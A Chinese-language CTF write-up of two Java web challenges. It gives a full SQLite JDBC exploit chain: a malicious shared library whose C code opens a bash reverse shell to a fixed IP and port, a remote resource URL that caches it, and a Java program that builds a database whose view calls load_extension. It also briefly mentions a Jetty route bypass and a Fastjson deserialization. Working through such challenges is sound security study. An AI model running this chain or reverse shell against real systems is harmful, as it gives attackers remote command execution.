整理一下Java的CTF题
2025-01-08 22:10:05

Java赛题复现

2024年 CISCN ezjava

考点:JDBC Sqlite攻击 + load extension

调试

image-20241224171141992

加载数据库驱动

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public String[] testDatasourceConnectionAble(JdbcBean jdbcBean) throws ClassNotFoundException, SQLException {
DatasourceLoadConfig var10000 = this.datasourceLoadConfig;
Map<String, String> config = DatasourceLoadConfig.getConfig();
switch (jdbcBean.getType()) {
case 1:
// 动态加载 MySQL 数据库的 JDBC 驱动程序类
Class.forName((String)config.get("JDBC-MYSQL"));
MysqlDatasourceConnector mysqlDatasourceConnector = new MysqlDatasourceConnector(DriverManager.getConnection(jdbcBean.getUrl()));
if (jdbcBean.getTableName() != null) {
return mysqlDatasourceConnector.getTableContent(jdbcBean.getTableName());
}

return mysqlDatasourceConnector.getTables();
case 2:
Class.forName((String)config.get("JDBC-POSTGRES"));
PostgresDatasourceConnector postgresDatasourceConnector = new PostgresDatasourceConnector(DriverManager.getConnection(jdbcBean.getUrl()));
if (jdbcBean.getTableName() != null) {
return postgresDatasourceConnector.getTableContent(jdbcBean.getTableName());
}

return postgresDatasourceConnector.getTables();
case 3:
SqliteDatasourceConnector sqliteDatasourceConnector = new SqliteDatasourceConnector(jdbcBean.getUrl());
if (jdbcBean.getTableName() != null) {
return sqliteDatasourceConnector.getTableContent(jdbcBean.getTableName());
}

return sqliteDatasourceConnector.getTables();
case 4:
Class.forName((String)config.get("JDBC-SQLITE"));
return new String[]{""};
default:
return new String[]{""};
}
}
  • MySQL:加载的是com.mysql.jdbc.Driver,虽然是8.0.13但是打不了

image-20241227170355065

开了LoadExtension,可以利用load_extension加载恶意so文件

image-20241227220003393

so怎么上传到靶机里?这里就要借用一下https://xz.aliyun.com/t/15884?time__1311=GqjxnDgQiQi%3D%3DGNDQ0PBK0Q%3Dlb957DR7WoD#toc-2的思路了。

我们注意到此处会缓存一份resourceAddr地址处的文件

image-20241230142757767

所以缓存so

1
jdbc:sqlite::resource:http://ip:port/exp.so

so生成:

1
2
3
4
5
6
7
8
9
10
11
12
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

void flag() {{
system("bash -c 'bash -i >& /dev/tcp/172.30.144.1/6666 <&1'");
}}

void space() {{
// this just exists so the resulting binary is > 500kB
static char waste[500 * 1024] = {{2}};
}}

然后在linux下gcc生成so:gcc -shared -fPIC exp.c -o exp.so

db文件生成,嵌入一个预编译语句来加载so

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package org.example.SqliteJDBCAttackDemo;

import java.io.File;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.PreparedStatement;

public class GenDB {
// 直接加载本地数据库文件
public static void main(String[] args) {

try {
String dbFile = "poc.db";
File file = new File(dbFile);
Class.forName("org.sqlite.JDBC");
Connection conn = DriverManager.getConnection("jdbc:sqlite:"+dbFile);
System.out.println("Opened database successfully");


String sql = "CREATE VIEW security as SELECT ( SELECT load_extension('/tmp/sqlite-jdbc-tmp-364689982.db','flag'));"; //向其中插入传入的三个参数
PreparedStatement preStmt = conn.prepareStatement(sql);

preStmt.executeUpdate();
preStmt.close();
conn.close();

} catch (Exception e) {
e.printStackTrace();
}

}
}

然后就是依次发包,先缓存so:

image-20241230143203694

image-20241230143239162

然后访问db,会执行预置的sqlite语句然后加载so成功反弹shell

image-20241230143310864

image-20241230143320796

2023年 西湖论剑 easy_api

考点:Jetty路由绕过,Fastjson1.2.48 toString打法

路由绕过:

https://blog.csdn.net/z69183787/article/details/84848751

明晃晃的readObject,lib下查看fastjson版本为1.2.48可以打

image-20250108220532332

调试过程:https://1cfh.fun/2025/01/02/WebExploit/Java/FastjsonVuln/

Prev
2025-01-08 22:10:05
Next